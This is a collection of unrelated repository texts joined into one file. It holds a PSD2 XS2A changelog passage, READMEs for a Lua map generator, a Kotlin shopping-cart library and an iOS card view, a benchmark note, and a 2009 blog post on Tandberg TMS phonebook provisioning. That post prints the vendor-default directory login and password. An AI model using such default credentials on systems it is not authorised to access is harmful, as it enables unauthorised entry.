From now on SPI Developer may define any payment product they would like to support.
Only four payment products are considered as "standard" and processed in XS2A with the standard flow:
* sepa-credit-transfers
* instant-sepa-credit-transfers
* target-2-payments
* cross-border-credit-transfers

Any other payment product will be processed as byte-array to SPI level. SPI Developer needs to handle the payload
in SPI Connector.
Right now only content types `application/json` and `application/xml` are supported (support of `multipart/form-data`
is provided additionally to setup PAIN periodic payments).
Support of content type `text/plain` is planned.

## Bugfix: added missing ais_consent fields
Now while sending POST request to the `/v1/consents` endpoint the fields "availableAccounts" and "allPsd2" are persisted to the ais_consent table. Also they are available while calling the connector.

## Changed response class for cancellation authorisation
Now when sending GET request to the `/v1/{payment-service}/{paymentId}/cancellation-authorisations` the result is CancellationList class, which is actually a list of IDs.

## Added support of Spring Data 2.x
In order to use Spring Data 2.x in CMS developer now shall use a dependency to help-module `spring-boot-2.x-support`
```xml
        <dependency>
            <groupId>de.adorsys.psd2</groupId>
            <artifactId>spring-boot-2.x-support</artifactId>
            <version>1.17-SNAPSHOT</version>
        </dependency>

```
By default `spring-boot-1.5.x-support` is used.

## Bugfix: removed duplicated links in xs2a responses
Previously in xs2a responses we had two blocks of links with the same content, but different namings (`links` and `_links`).
Now xs2a interface provides only one block of links.

## Implement interface for exporting PIIS consents from CMS to ASPSP
Provided implementation for Java interface `de.adorsys.psd2.consent.aspsp.api.piis.CmsAspspPiisFundsExportService`
that allows exporting PIIS consents by ASPSP account id, TPP ID and PSU ID Data.

From now on these endpoints are fully functional:

| Method | Endpoint                                         | Description                                                                                |
|--------|--------------------------------------------------|-----------------------------------------------------------------------------------------------------------|
| GET    | /aspsp-api/v1/piis/consents/account/{account-id} | Returns a list of consents by given mandatory aspsp account id, optional creation date and instance ID    |
| GET    | /aspsp-api/v1/piis/consents/psu                  | Returns a list of consents by given mandatory PSU ID Data, optional creation date and instance ID         |
| GET    | /aspsp-api/v1/piis/consents/tpp/{tpp-id}         | Returns a list of consents by given mandatory TPP ID, optional creation date, PSU ID Data and instance ID |

## Bugfix: fix instanceId not being set in the CMS that doesn't have any pre-insert listeners
From now on `instanceId` property will be correctly set to its default value(`UNDEFINED`) when the CMS doesn't have any pre-insert listeners to override this property.

## Bugfix: Error messages from spi-api should be returned to the tpp in response
Now messages that are provided in spi-api in case of the error will be returned to the tpp in response

## Implemented Decoupled SCA approach
From now on XS2A supports Decoupled SCA approach for authorising account consents, payments and payment cancellations.
It occurs in the following cases:
 * if `DECOUPLED` SCA approach was chosen by ASPSP
 * during the `EMBEDDED` SCA approach if decoupled SCA method was chosen by PSU during selection of SCA methods

New method `de.adorsys.psd2.xs2a.spi.service.AuthorisationSpi#startScaDecoupled` was added to the SPI interface to be implemented by SPI developers.
The response of this method should contain the message, shown to the PSU, containing recommendation to proceed the authorisation via the dedicated mobile app.

`authorisationId`, provided in this method shall be used as `redirectId` to finish authorisation in the App, by accessing corresponding endpoints in CMS-PSU-API

An SPI Developer now shall consider also Flag `decoupled` in `de.adorsys.psd2.xs2a.spi.domain.authorisation.SpiAuthenticationObject` (defaults to `false`) returend by
method `requestAvailableScaMethods`.
If it is set to `true` and PSU chooses this authentication method, the SCA approach will be switched to `DECOUPLED`

## Added a possibility to require PSU-ID in initial request for payment initiation or establishing consent
Now ASPSP can forbid initiating payment or establishing AIS consent without PSU-ID by setting option `psuInInitialRequestMandated` to `true` in ASPSP Profile.

| Option                      | Meaning                                                                                | Default value |
|-----------------------------|--------------------------------------------------------------------------------------------------------------|---------------|
| psuInInitialRequestMandated | This field indicates if ASPSP requires PSU in initial request for payment initiation or establishing consent | false         |

## Added additional step to identify PSU if TPP doesn’t send PSU-ID in authorisation
When TPP creates authorisation for AIS consent, payment or payment cancellation without PSU-ID,
`startAuthorisationWithPsuIdentification` link will be returned, using which TPP should upload the PSU identification data.
At  this stage if TPP doesn’t send PSU-ID, there will be FORMAT_ERROR with http status 400.
If PSU-ID was sent, authorisation status will be changed to `PSUIDENTIFIED` and TPP will get link
`startAuthorisationWithPsuAuthentication` using which PSU authentication data should be uploaded.
After PSU identified itself, there is no need to send PSU-ID in next requests to make authorisation finalised.

## Bugfix: Fixed problem with wrong payment service (payment product) for Get payment status, Get payment information and Cancel payment

When using GET `/v1/{payment-service}/{payment-product}/{paymentId}/status`, GET `/v1/{payment-service}/{payment-product}/{paymentId}` or DELETE `/v1/{payment-service}/{payment-product}/{paymentId}/`
with incorrect payment service(e.g `periodic-payments` instead of `payments` with payment id of single payment, not periodic, or `instant-sepa-credit-transfers` instead of `sepa-credit-transfers`),
there were no correct errors provided (`405 SERVICE_INVALID` for incorrect payment service and `403 PRODUCT_INVALID` for incorrect payment product).

Now when you enter incorrect payment service, the request will not be executed and the error `405 SERVICE_INVALID` will be returned.
If you enter incorrect payment product, the request also will not be executed and the error `403 PRODUCT_INVALID` will be returned.

## Removed unused enumerator value
According to the Implementation Guidelines version 1.3 the value `AVAILABLE` of the Balance type doesn't exist. It is removed from SpiBalanceType and AspspBalanceType.

## Bugfix: fix error on AIS consent confirmation when using OracleDB
Trying to confirm AIS consent in CMS that uses OracleDB will no longer fail.
In order to fix this error the type of `authority_id` column in `tpp_info` table was changed to `VARCHAR(255)`.

Beware: during migration of existing records in `tpp_info` table only the first `255` characters of `authority_id`
will be retained, all exceeding characters will be lost.

branch_name: refs/heads/develop


text:
# Random_Mapper
A randomizer for making fantasy maps images
## Dependencies
- Lua 5.1 or later
- Lua-GD 	2.9.33r2 or later
- IUP (for Lua) 3.5.0	 or later
- Windows CMD
Suggested download : [Lua for windows](https://github.com/rjpcomputing/luaforwindows)
## Steps
- Install all the dependencies
### Make Customized Single Map
- Run the map_plotter.lua script however you run Lua files
- Use the dialog box to customize map constants, then press "okay"
- A png file should open with your newly generated map
### Make Many Maps
- Run the many_maps.lua script
- Enter the number of maps you wish to generate
- Enter the coefficient for how much grouping you want
- A file should be created with many newly generated maps
## Purpose
I was inspired to create this after seeing a video of a person filling a bucket of dice and pouring it onto a sheet. Each dice represented a different type of structure wherever they landed on the sheet. The person would then outline around the stucture to make the natural geography of a map. I wanted to do that process on my own but I don't have so many dice, few people do. I thought I could make something to simulate that process but many times over, and with more space and dice than possible in real life. I also wanted more experience with Lua.
## Notes
- Black is the dedicated land color, the large bodies of water are whatever color you set the background to
- The larger the coefficient the more gruoping will occur, theres a tooltip
- Just have fun

I recommend not interpretting the maps literally. It's meant to be fun fantasy. If there's multiple overlapping icons I just imagine it's a combination of the overlapping. Sor example a mountain and a lake, make a natural hotspring high above the clouds. Or the lakes could be what ever oyu want them to be, maybe icebergs or deserts instead.

It's just kind of relaxing to imagine an adventure through the lands you're sculpting. There are options for rounded maps and straight line maps which are both pretty fun. I also enjoy the no lines and put the map into the simplest paint program and draw the geography by hand. These maps also act as a kind of Rorschach test if you'd like.

Also, if you want something else added to this app, I'll see what I can do.


text:
# ShoppingCart

Shopping cart is a small Kotlin android library that provide you cart managment feature like add, remove and calculate total items and amount. This library used coroutine to make cart management fast and used Room DB to save cart items.

![Demonstration of the shopping cart sample](ScreenShots/video.gif)

### Installation

``` implementation 'de.starkling.shoppingcart:shoppingcart:1.0.0' ```

### Usage

First you need to make your existing model class a Saleable type by implementing the [`Saleable`](https://github.com/zabi90/ShoppingCart/blob/master/shoppingcart/src/main/java/de/starkling/shoppingcart/models/Saleable.kt) Interface. We have Product in our sample app.

```
data class Product(var id:String, var name:String ... ) : Saleable
```
and override the methods that Saleable provides you.

```
    override var itemQuantity: Int
        get()

    override fun getId(): String {
       return id // This will be the id of your product class
    }

    override fun getName(): String {
       return name // name of your class
    }

    override fun getPrice(): Float {
       return price // price of your product
    }

    override fun getQuantity(): Int {
        return itemQuantity // simply return override field
    }

    override fun getTotal(): Float {
        return itemQuantity * price // calculate total of cart item
    }
```

Then you need to access the CartManager instance by following line

```
val cartManager =  CartManager.getInstance(applicationContext)
```
Add Product into Cart by following line

```val product = Product("1","Egg",15)
  product.itemQuantity = 1 // product quantity need to be hold in cart

  CoroutineScope(Dispatchers.Main).launch {
            cart.updateItem(item)
  }
```
You can get the total items count and price by following line via LiveData Observer

```
 cart.subscribeCartTotal().observe(this, Observer {
      totalTextView.text = "Checkout (${it.totalItems})  Total Amount: ${it.totalAmount}.Rs"
 })

```

We also provide function that take your existing products or items list come from api or an other source and map with existing cart item quantity.

```
 CoroutineScope(Dispatchers.Main).launch {
    val products = cart.mapWithCart(products)
 }
```

Also you can remove item from cart use following method
```
cart.removeItem(product)
```

You can get the list of cart items from CartManager to show your cart items in recyclerView or for later use by following method

```
cart.getCartItems()
```
### Counter Widget
Library contain simple counter widget that usually used while adding item in cart. This widget only maintain count value.

![Demonstration of the shopping cart sample](ScreenShots/shot_one.png)

Add following xml in your layout
```
    <de.starkling.shoppingcart.widget.CounterView
        android:id="@+id/counterView"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
   />

```
Add listener to get counter updated value

```
    counterView.addCounterValueChangeListener(object :CounterView.CounterValueChangeListener{
         override fun onValueDelete(count: Int) {
                    //when value removed
                }

                override fun onValueAdd(count: Int) {
                    //when value added
                }

         })
```
For more help and detail please checkout sample project.

License
----

Apache License


text:
---
layout: post
title: Provision phonebook in Tandberg Management Suite
date: 2009-08-12 14:59
author: tomlarse
comments: true
categories: [Movi2, Provisioning, Tandberg, TMS, video conferencing]
---
To be able to add Movi2 endpoints to phonebooks on systems registered in TMS, TMS should automagically create an external source and a provisioning phonebook when the provisioning key is installed on the system. If this for some reason does not happen, here's how to add one: (or to verify that the phonebook was installed correctly)

In TMS, go to: Phone Book > Manage External Source

If there is an external source there that is called "Provisioning Source", chances are that the phone book was installed correctly. If not, add a new external source and select "TANDBERG Provisioning Directory" as source type.

The rest of the fields should be like this:
```
<table border="1" cellspacing="0" cellpadding="0" width="744">
<tbody>
<tr>
<td colspan="2" width="744" valign="top"><strong><em>Connection Details </em></strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Name </strong></td>
<td width="331" valign="top"><strong>Provisioning Source </strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Default Bandwidth for Imported Entries </strong></td>
<td width="331" valign="top"><strong>384 kbps </strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Force Default Bandwidth (all entries, not only Auto entries) </strong></td>
<td width="331" valign="top">Unchecked</td>
</tr>
<tr>
<td width="413" valign="top"><strong>IP Address/DNS </strong></td>
<td width="331" valign="top"><strong>localhost </strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Username </strong></td>
<td width="331" valign="top"><strong>CN=Directory Manager </strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Password </strong></td>
<td width="331" valign="top"><strong>TANDBERG </strong></td>
</tr>
<tr>
<td colspan="2" width="744" valign="top"><strong><em>Advanced Connection   Details </em></strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>LDAP Port Number </strong></td>
<td width="331" valign="top">Blank</td>
</tr>
<tr>
<td width="413" valign="top"><strong>Search Base (DN) </strong></td>
<td width="331" valign="top"><strong>dc=provisioning </strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Search Scope </strong></td>
<td width="331" valign="top"><strong>Recursive </strong></td>
</tr>
<tr>
<td width="413" valign="top"><strong>Custom LDAP Filter </strong></td>
<td width="331" valign="top">Blank</td>
</tr>
<tr>
<td width="413" valign="top"><strong>Field on User Object to Prefix Display Name in TMS </strong></td>
<td width="331" valign="top"><strong>displayName </strong></td>
</tr>
</tbody></table>
```

With this setup, movi users are added to the phone book on the format "<firstname> <lastname> <provisioningprofile>". I will try some different settings to see if I can filter and change the format in the phonebook. I will add this in a later post.

After this, create a new phonebook and connect it to the new external source.

Source: Tandberg Deployment guide: Provisioning. february 2009

Connection Details
Name
Provisioning Source
Default Bandwidth for Imported Entries
384 kbps
Force Default Bandwidth (all entries, not only Auto entries)
Unchecked
IP Address/DNS
localhost
Username
CN=Directory Manager
Password
TANDBERG
Advanced Connection Details
LDAP Port Number
Blank
Search Base (DN)
dc=provisioning
Search Scope
Recursive
Custom LDAP Filter
Blank
Field on User Object to Prefix Display Name in TMS
displayName


text:
Google-Now-Style-Card-View
==========================

![ScreenShot](https://s3.amazonaws.com/cocoacontrols_production/uploads/control_image/image/1784/iOS_Simulator_Screen_shot_Sep_5__2013_3.44.58_PM.png)

Google Search for Android has been updated to take advantage of various new Google Now cards, including one for live TV.

This project clones the card inserting animation, card exchange animation and provides UITableView alike APIs for data sourcing and delegating.

Add 'Card View' (Dir) to your project and start to use RSCardsView.

    RSCardsView *view = [[[RSCardsView alloc] initWithFrame:[UIScreen mainScreen].applicationFrame] autorelease];
    view.delegate = self;
    view.dataSource = self;
    view.animationStyle = RSCardsViewAnimationStyleExchange; // or RSCardsViewAnimationStyleDrop
    self.view = view;

You should implement your own card and card view, open sample to see lot more.

[![ScreenShot](https://raw.github.com/GabLeRoux/WebMole/master/ressources/WebMole_Youtube_Video.png)](http://v.youku.com/v_show/id_XNTc4MDUyODY0.html)

[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/yeahdongcn/google-now-style-card-view/trend.png)](https://bitdeli.com/free "Bitdeli Badge")


text:
Results
=======
The datasets used are referenced under the folder `/data`.

These results were obtained running repeatedly the script `/bin/benchmark.py` on a cluster managed by
[Slurm](https://slurm.schedmd.com/documentation.html). The jobs were limited to 24 hours or 1000 iterations.
Concurrent jobs were used to increase the number of data-points.

The nodes were running Cent-OS release 7, with an Intel(R) Xeon(R) Gold 6240 CPU @ 2.60GHz.

repository: ayllon/MatchBox

gha_language: Jupyter Notebook

repo_name: ayllon/MatchBox